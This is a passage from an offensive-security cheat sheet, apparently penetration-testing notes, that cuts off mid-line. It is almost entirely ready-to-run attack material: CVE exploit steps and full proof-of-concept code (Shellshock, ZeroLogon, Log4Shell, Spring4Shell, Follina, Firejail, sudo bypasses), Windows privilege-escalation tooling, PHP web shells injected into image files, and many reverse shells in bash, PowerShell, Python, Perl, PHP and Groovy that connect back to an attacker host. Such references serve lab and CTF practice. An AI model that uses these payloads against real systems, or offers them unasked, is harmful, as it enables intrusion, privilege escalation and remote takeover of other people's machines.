-Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $cred ``` #### pwncat ```c (local) pwncat$ back // get back to shell Ctrl+d // get back to pwncat shell ``` ```c pwncat-cs -lp <LPORT> (local) pwncat$ download /PATH/TO/FILE/<FILE> . (local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE> ``` #### rpcclient ```c $ rpcclient -U "" <RHOST> ``` ```c srvinfo netshareenum netshareenumall netsharegetinfo netfileenum netsessenum netdiskenum netconnenum getanydcname getdcname dsr_getdcname dsr_getdcnameex dsr_getdcnameex2 dsr_getsitename enumdomusers enumdata enumjobs enumports enumprivs queryuser <USERNAME> ``` #### Rubeus ##### Overpass the Hash ```c Rubeus.exe kerberoast /user:<USERNAME> ``` ##### Pass the Hash ```c .\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentials ``` #### RunasCs ```c ./RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>.exe' ./RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT> ``` #### winexe ```c winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe ``` ### CVE #### CVE-2014-6271: Shellshock RCE PoC ```c curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<RHOST>/cgi-bin/user.sh ``` ```c shellshock='() { :;}; echo exploit' bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" <environment_variable>='() { :;}; echo exploit' bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1" <environment_variable>='() { :;}; echo exploit' sudo /root/<binary> ``` #### CVE-2016-1531: exim LPE - exim version <= 4.84-3 ```c #!/bin/sh # CVE-2016-1531 exim <= 4.84-3 local root exploit # =============================================== # you can write files as root or force a perl module to # load by manipulating the perl environment and running # exim with the "perl_startup" arguement -ps. # # e.g. # [fantastic@localhost tmp]$ ./cve-2016-1531.sh # [ CVE-2016-1531 local root exploit # sh-4.3# id # uid=0(root) gid=1000(fantastic) groups=1000(fantastic) # # -- Hacker Fantastic echo [ CVE-2016-1531 local root exploit cat > /tmp/root.pm << EOF package root; use strict; use warnings; system("/bin/sh"); EOF PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps ``` #### CVE-2019-14287: Sudo Bypass > https://www.exploit-db.com/exploits/47502 ##### Prerequisites - Sudo version < 1.8.28 ##### Exploitation ```c !root: $ sudo -u#-1 /bin/bash ``` #### CVE-2020-1472: ZeroLogon PE > https://github.com/SecuraBV/CVE-2020-1472 > https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py ##### Prerequisites ```c python3 -m pip install virtualenv python3 -m virtualenv venv source venv/bin/activate pip install git+https://github.com/SecureAuthCorp/impacket ``` ##### PoC Modification ```c newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 rpc_con.request(newPassRequest) ``` ##### Weaponized PoC ```c #!/usr/bin/env python3 from impacket.dcerpc.v5 import nrpc, epm from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5 import transport from impacket import crypto import hmac, hashlib, struct, sys, socket, time from binascii import hexlify, unhexlify from subprocess import check_call # Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average. MAX_ATTEMPTS = 2000 # False negative chance: 0.04% def fail(msg): print(msg, file=sys.stderr) print('This might have been caused by invalid arguments or network issues.', file=sys.stderr) sys.exit(2) def try_zero_authenticate(dc_handle, dc_ip, target_computer): # Connect to the DC's Netlogon service. binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 ciphertext = b'\x00' * 8 # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. flags = 0x212fffff # Send challenge and authentication request. nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, target_computer + '\x00', ciphertext, flags ) # It worked! assert server_auth['ErrorCode'] == 0 newPassRequest = nrpc.NetrServerPasswordSet2() newPassRequest['PrimaryName'] = dc_handle + '\x00' newPassRequest['AccountName'] = target_computer + '$\x00' newPassRequest['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel auth = nrpc.NETLOGON_AUTHENTICATOR() auth['Credential'] = b'\x00' * 8 auth['Timestamp'] = 0 newPassRequest['Authenticator'] = auth newPassRequest['ComputerName'] = target_computer + '\x00' newPassRequest['ClearNewPassword'] = b'\x00' * 516 rpc_con.request(newPassRequest) return rpc_con except nrpc.DCERPCSessionError as ex: # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. if ex.get_error_code() == 0xc0000022: return None else: fail(f'Unexpected error code from DC: {ex.get_error_code()}.') except BaseException as ex: fail(f'Unexpected error: {ex}.') def perform_attack(dc_handle, dc_ip, target_computer): # Keep authenticating until succesfull. Expected average number of attempts needed: 256. print('Performing authentication attempts...') rpc_con = None for attempt in range(0, MAX_ATTEMPTS): rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer) if not rpc_con: print('=', end='', flush=True) else: break if rpc_con: print('\nSuccess! DC can be fully compromised by a Zerologon attack.') else: print('\nAttack failed. Target is probably patched.') sys.exit(1) if __name__ == '__main__': if not (3 <= len(sys.argv) <= 4): print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n') print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.') print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.') sys.exit(1) else: [_, dc_name, dc_ip] = sys.argv dc_name = dc_name.rstrip('$') perform_attack('\\\\' + dc_name, dc_ip, dc_name) ``` ##### Execution ```c python3 zerologon_tester.py <HANDLE> <RHOST> secretsdump.py -just-dc -no-pass <HANDLE>\$@<RHOST> ``` #### CVE-2021-3156: Sudo / sudoedit LPE > https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435 ##### Pre-requisistes - Ubuntu 20.04 (Sudo 1.8.31) - Debian 10 (Sudo 1.8.27) - Fedora 33 (Sudo 1.9.2) - All legacy versions >= 1.8.2 to 1.8.31p2 and all stable versions >= 1.9.0 to 1.9.5p1 ##### Vulnerability Test ```c $ sudoedit -s / ``` The machine is vulnerable if one of the following message is shown. ```c sudoedit: /: not a regular file segfault ``` Not vulnerable if the error message starts with `usage:`. #### CVE-2021-44228: Log4Shell RCE (0-day) ```c cat targets.txt | while read host do; do curl -sk --insecure --path-as-is "$host/?test=${jndi:[ldap://TOKEN.canarytokens.com/a](ldap://TOKEN.canarytokens.com/a)}" -H "X-Api-Version: ${jndi:[ldap://TOKEN.canarytokens.com/a](ldap://TOKEN.canarytokens.com/a)}" -H "User-Agent: ${jndi:[ldap://TOKEN.canarytokens.com/a](ldap://TOKEN.canarytokens.com/a)}";done ``` ##### Preparation > http://mirrors.rootpei.com/jdk/ File: jdk-8u181-linux-x64.tar.gz ##### Creating Library Folder ```c sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf /usr/lib/jvm/jdk-8u181-linux-x64.tar.gz sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws ``` ##### Verify Version ```c java -version ``` ##### Get Exploit Framework ```c git clone https://github.com/mbechler/marshalsec cd /opt/08_exploitation_tools/marshalsec/ sudo apt-get install maven mvn clean package -DskipTests ``` ##### Exploit.java ```c public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash <LHOST> <LPORT>"); } catch (Exception e) { e.printStackTrace(); } } } ``` ##### Compiling Exploit.java ```c javac Exploit.java -source 8 -target 8 ``` ##### Start Pyhton3 HTTP Server ```c python3 -m http.server 80 ``` ##### Starting the malicious LDAP Server ```c java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<LHOST>:80/#Exploit" ``` ##### Start local netcat listener ```c nc -lnvp 9001 ``` ##### Execute the Payload ```c curl 'http://<RHOST>:8983/solr/admin/cores?foo=$\{jndi:ldap://<LHOST>:1389/Exploit\}' ``` #### CVE-2022-0847: Dirty Pipe LPE ```c gcc -o dirtypipe dirtypipe.c ./dirtypipe /etc/passwd 1 ootz: su rootz ``` #### CVE-2022-22963: Spring4Shell RCE (0-day) > https://github.com/me2nuk/CVE-2022-22963 ```c $ curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl <LHOST>/<FILE>.sh -o /dev/shm/<FILE>")' --data-raw 'data' -v ``` ```c $ curl -X POST http://<RHOST>/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/<FILE>")' --data-raw 'data' -v ``` #### CVE-2022-30190: MS-MSDT Follina RCE > https://github.com/JohnHammond/msdt-follina ```c python3 follina.py -p 80 -c 'powershell.exe Invoke-WebRequest http://<LHOST>:8000/nc64.exe -OutFile C:\\Windows\\Tasks\\nc64.exe; C:\\Windows\\Tasks\\nc64.exe -e cmd.exe <LHOST> <LPORT>' ``` ```c python3 -m http.server 8000 ``` ```c nc -lnvp <LPORT> ``` ```c swaks --to <EMAIL> --from <EMAIL> --server <RHOST> --body "http://<LHOST>/" ``` #### CVE-2022-31214: Firejail LPE > https://seclists.org/oss-sec/2022/q2/188 > https://www.openwall.com/lists/oss-security/2022/06/08/10 ```c #!/usr/bin/python3 # Author: Matthias Gerstner <matthias.gerstner () suse com> # # Proof of concept local root exploit for a vulnerability in Firejail 0.9.68 # in joining Firejail instances. # # Prerequisites: # - the firejail setuid-root binary needs to be installed and accessible to the # invoking user # # Exploit: The exploit tricks the Firejail setuid-root program to join a fake # Firejail instance. By using tmpfs mounts and symlinks in the unprivileged # user namespace of the fake Firejail instance the result will be a shell that # lives in an attacker controller mount namespace while the user namespace is # still the initial user namespace and the nonewprivs setting is unset, # allowing to escalate privileges via su or sudo. import os import shutil import stat import subprocess import sys import tempfile import time from pathlib import Path # Print error message and exit with status 1 def printe(*args, **kwargs): kwargs['file'] = sys.stderr print(*args, **kwargs) sys.exit(1) # Return a boolean whether the given file path fulfils the requirements for the # exploit to succeed: # - owned by uid 0 # - size of 1 byte # - the content is a single '1' ASCII character def checkFile(f): s = os.stat(f) if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode): return False with open(f) as fd: ch = fd.read(2) if len(ch) != 1 or ch != "1": return False return True def mountTmpFS(loc): subprocess.check_call("mount -t tmpfs none".split() + [loc]) def bindMount(src, dst): subprocess.check_call("mount --bind".split() + [src, dst]) def checkSelfExecutable(): s = os.stat(__file__) if (s.st_mode & stat.S_IXUSR) == 0: printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.") # This creates a "helper" sandbox that serves the purpose of making available # a proper "join" file for symlinking to as part of the exploit later on. # # Returns a tuple of (proc, join_file), where proc is the running subprocess # (it needs to continue running until the exploit happened) and join_file is # the path to the join file to use for the exploit. def createHelperSandbox(): # just run a long sleep command in an unsecured sandbox proc = subprocess.Popen( "firejail --noprofile -- sleep 10d".split(), stderr=subprocess.PIPE) # read out the child PID from the stderr output of firejail while True: line = proc.stderr.readline() if not line: raise Exception("helper sandbox creation failed") # on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is output line = line.decode('utf8').strip().lower() if line.find("child pid") == -1: continue child_pid = line.split()[-1] try: child_pid = int(child_pid) break except Exception: raise Exception("failed to determine child pid from helper sandbox") # We need to find the child process of the child PID, this is the # actual sleep process that has an accessible root filesystem in /proc children = f"/proc/{child_pid}/task/{child_pid}/children" # If we are too quick then the child does not exist yet, so sleep a bit for _ in range(10): with open(children) as cfd: line = cfd.read().strip() kids = line.split() if not kids: time.sleep(0.5) continue elif len(kids) != 1: raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}") try: sleep_pid = int(kids[0]) break except Exception: raise Exception("failed to determine sleep child PID from helper sandbox") else: raise Exception(f"sleep child process did not come into existence in {children}") join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join" if not os.path.exists(join_file): raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}") return proc, join_file # Re-executes the current script with unshared user and mount namespaces def reexecUnshared(join_file): if not checkFile(join_file): printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')") os.environ["FIREJOIN_JOINFILE"] = join_file os.environ["FIREJOIN_UNSHARED"] = "1" unshare = shutil.which("unshare") if not unshare: printe("could not find 'unshare' program") cmdline = "unshare -U -r -m".split() cmdline += [__file__] # Re-execute this script with unshared user and mount namespaces subprocess.call(cmdline) if "FIREJOIN_UNSHARED" not in os.environ: # First stage of execution, we first need to fork off a helper sandbox and # an exploit environment checkSelfExecutable() helper_proc, join_file = createHelperSandbox() reexecUnshared(join_file) helper_proc.kill() helper_proc.wait() sys.exit(0) else: # We are in the sandbox environment, the suitable join file has been # forwarded from the first stage via the environment join_file = os.environ["FIREJOIN_JOINFILE"] # We will make /proc/1/ns/user point to this via a symlink time_ns_src = "/proc/self/ns/time" # Make the firejail state directory writeable, we need to place a symlink to # the fake join state file there mountTmpFS("/run/firejail") # Mount a tmpfs over the proc state directory of the init process, to place a # symlink to a fake "user" ns there that firejail thinks it is joining try: mountTmpFS("/proc/1") except subprocess.CalledProcessError: # This is a special case for Fedora Linux where SELinux rules prevent us # from mounting a tmpfs over proc directories. # We can still circumvent this by mounting a tmpfs over all of /proc, but # we need to bind-mount a copy of our own time namespace first that we can # symlink to. with open("/tmp/time", 'w') as _: pass time_ns_src = "/tmp/time" bindMount("/proc/self/ns/time", time_ns_src) mountTmpFS("/proc") FJ_MNT_ROOT = Path("/run/firejail/mnt") # Create necessary intermediate directories os.makedirs(FJ_MNT_ROOT) os.makedirs("/proc/1/ns") # Firejail expects to find the umask for the "container" here, else it fails with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd: umask_fd.write("022") # Create the symlink to the join file to pass Firejail's sanity check os.symlink(join_file, FJ_MNT_ROOT / "join") # Since we cannot join our own user namespace again fake a user namespace that # is actually a symlink to our own time namespace. This works since Firejail # calls setns() without the nstype parameter. os.symlink(time_ns_src, "/proc/1/ns/user") # The process joining our fake sandbox will still have normal user privileges, # but it will be a member of the mount namespace under the control of *this* # script while *still* being a member of the initial user namespace. # 'no_new_privs' won't be set since Firejail takes over the settings of the # target process. # # This means we can invoke setuid-root binaries as usual but they will operate # in a mount namespace under our control. To exploit this we need to adjust # file system content in a way that a setuid-root binary grants us full # root privileges. 'su' and 'sudo' are the most typical candidates for it. # # The tools are hardened a bit these days and reject certain files if not owned # by root e.g. /etc/sudoers. There are various directions that could be taken, # this one works pretty well though: Simply replacing the PAM configuration # with one that will always grant access. with tempfile.NamedTemporaryFile('w') as tf: tf.write("auth sufficient pam_permit.so\n") tf.write("account sufficient pam_unix.so\n") tf.write("session sufficient pam_unix.so\n") # Be agnostic about the PAM config file location in /etc or /usr/etc for pamd in ("/etc/pam.d", "/usr/etc/pam.d"): if not os.path.isdir(pamd): continue for service in ("su", "sudo"): service = Path(pamd) / service if not service.exists(): continue # Bind mount over new "helpful" PAM config over the original bindMount(tf.name, service) print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.") while True: line = sys.stdin.readline() if not line: break ``` #### First Terminal ```c $ ./firejoin_py.bin You can now run 'firejail --join=193982' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell. ``` #### Second Terminal ```c $ firejail --join=193982 $ su ``` #### CVE-2023-21746: Windows NTLM EoP LocalPotato LPE > https://github.com/decoder-it/LocalPotato > https://github.com/blackarrowsec/redteam-research/tree/master/LPE%20via%20StorSvc Modify the following file and build the solution. ```c StorSvc\RpcClient\RpcClient\storsvc_c.c ``` ```c #if defined(_M_AMD64) //#define WIN10 //#define WIN11 #define WIN2019 //#define WIN2022 ``` Modify the following file and build the solution. ```c StorSvc\SprintCSP\SprintCSP\main.c ``` ```c void DoStuff() { // Replace all this code by your payload STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; CreateProcess(L"c:\\windows\\system32\\cmd.exe",L" /C net localgroup administrators user /add", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, L"C:\\Windows", &si, &pi); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return; } ``` First get the `paths` from the `environment`, then use `LocalPotato` to place the `malicious DLL`. ```c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -v Path LocalPotato.exe -i SprintCSP.dll -o \Windows\System32\SprintCSP.dll ``` At least trigger `StorSvc` via `RpcClient.exe`. ```c .\RpcClient.exe ``` #### CVE-2023-22809: Sudo Bypass > https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466 ##### Prerequisites - Sudo version needs to be ≥ 1.8 and < 1.9.12p2. - Limited Sudo access to at least one file on the system that requires root access. ##### Example ```c test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motd ``` ##### Exploitation ```c EDITOR="vi -- /etc/passwd" sudoedit /etc/motd ``` ```c sudoedit /etc/motd ``` #### CVE-2023-23397: Microsoft Outlook (Click-to-Run) PE (0-day) (PowerShell Implementation) ```c PS C:\> Import-Module .\CVE-2023-23397.ps1 PS C:\> Send-CalendarNTLMLeak -recipient "<EMAIL>" -remotefilepath "\\<LHOST>\<FILE>.wav" -meetingsubject "<SUBJECT>" -meetingbody "<TEXT>" ``` #### CVE-2023-32629, CVE-2023-2640: GameOverlay Ubuntu Kernel Exploit LPE (0-day) - Linux ubuntu2204 5.19.0-46-generic ```c $ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")' ``` #### Juicy Potato LPE > https://github.com/ohpe/juicy-potato > http://ohpe.it/juicy-potato/CLSID ##### msfvenom and Metasploit Execution ```c msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00\x0a" -a x86 --platform windows -f exe -o exploit.exe ``` ```c msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST <LHOST> msf6 exploit(multi/handler) > set LPORT <LHOST> msf6 exploit(multi/handler) > run ``` ```c .\exploit.exe ``` ```c [*] Sending stage (175174 bytes) to <RHOST> [*] Meterpreter session 1 opened (<LHOST>:<LPORT> -> <RHOST>:51990) at 2021-01-31 12:36:26 +0100 ``` #### MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE > https://www.exploit-db.com/exploits/1518 ```c $ gcc -g -c raptor_udf2.c -fPIC $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` ```c $ mysql -u root ``` ```c > use mysql; > create table foo(line blob); > insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so')); > select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; > create function do_system returns integer soname 'raptor_udf2.so'; > select do_system('chmod +s /bin/bash'); ``` #### SharpEfsPotato LPE > https://github.com/bugch3ck/SharpEfsPotato ```c SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>" ``` #### Shocker Container Escape > https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c ##### Modifying Exploit ```c // get a FS reference from something mounted in from outside if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0) die("[-] open"); if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0) die("[-] Cannot find valid handle!"); ``` ##### Compiling ```c gcc shocker.c -o shocker cc -Wall -std=c99 -O2 shocker.c -static ``` ### Payloads #### Donut ```c donut -a 2 -f 1 -o donutpayload.bin shellcode.exe ``` #### Exiftool ##### PHP into JPG Injection ```c exiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"); ?>' shell.jpg exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' <FILE>.jpeg exiftool "-comment<=back.php" back.png exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.png ``` #### GhostScript ```c %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/flag.txt) currentdevice putdeviceprops ``` #### nishang ```c cd path/to/nishang/Shells/ cp Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1 tail -3 Invoke-PowerShellTcp.ps1 } Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT> powershell "IEX(New-Object Net.Webclient).downloadString('http://<LHOST>:<LPORT>/Invoke-PowerShellTcp.ps1')" ``` #### Reverse Shells ##### Bash Reverse Shell ```c bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64 ``` ##### curl Reverse Shell ```c curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}' ``` ##### Groovy (Jenkins) Reverse Shell ```c String host="<LHOST>"; int port=<LPORT>; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` ##### JAVA Reverse Shell ```c r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor(); ``` ###### shell.jar ```c package <NAME>; import org.bukkit.plugin.java.JavaPlugin; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Paths; import java.nio.file.StandardOpenOption; public class Main extends JavaPlugin { @Override public void onDisable() { super.onDisable(); } @Override public void onEnable() { final String PHP_CODE = "<?php system($_GET['cmd']); ?>"; try { Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW); } catch (IOException e) { e.printStackTrace(); } super.onEnable(); } } ``` ##### Lua Reverse Shell ```c http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")-- ``` ##### Markdown Reverse Shell ```c --';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'-- ``` ##### mkfifo Reverse Shell ```c mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell ``` ##### Netcat Reverse Shell ```c nc -e /bin/sh <LHOST> <LPORT> ``` ##### Perl Reverse Shell ```c perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ##### PHP Reverse Shell ```c php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");' ``` ##### PowerShell Reverse Shell ```c $client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ```c powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` ```c powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' ``` ##### minireverse.ps1 ```c $socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413); if($socket -eq $null){exit 1} $stream = $socket.GetStream(); $writer = new-object System.IO.StreamWriter($stream); $buffer = new-object System.Byte[] 1024; $encoding = new-object System.Text.AsciiEncoding; do { $writer.Flush(); $read = $null; $res = "" while($stream.DataAvailable -or $read -eq $null) { $read = $stream.Read($buffer, 0, 1024) } $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n",""); if(!$out.equals("exit")){ $args = ""; if($out.IndexOf(' ') -gt -1){ $args = $out.substring($out.IndexOf(' ')+1); $out = $out.substring(0,$out.IndexOf(' ')); if($args.split(' ').length -gt 1){ $pinfo = New-Object System.Diagnostics.ProcessStartInfo $pinfo.FileName = "cmd.exe" $pinfo.RedirectStandardError = $true $pinfo.RedirectStandardOutput = $true $pinfo.UseShellExecute = $false $pinfo.Arguments = "/c $out $args" $p = New-Object System.Diagnostics.Process $p.StartInfo = $pinfo $p.Start() | Out-Null $p.WaitForExit() $stdout = $p.StandardOutput.ReadToEnd() $stderr = $p.StandardError.ReadToEnd() if ($p.ExitCode -ne 0) { $res = $stderr } else { $res = $stdout } } else{ $res = (&"$out" "$args") | out-string; } } else{ $res = (&"$out") | out-string; } if($res -ne $null){ $writer.WriteLine($res) } } }While (!$out.equals("exit")) $writer.close(); $socket.close(); $stream.Dispose() ``` ##### Python Reverse Shell ```c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ```c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ```c python -c 'import 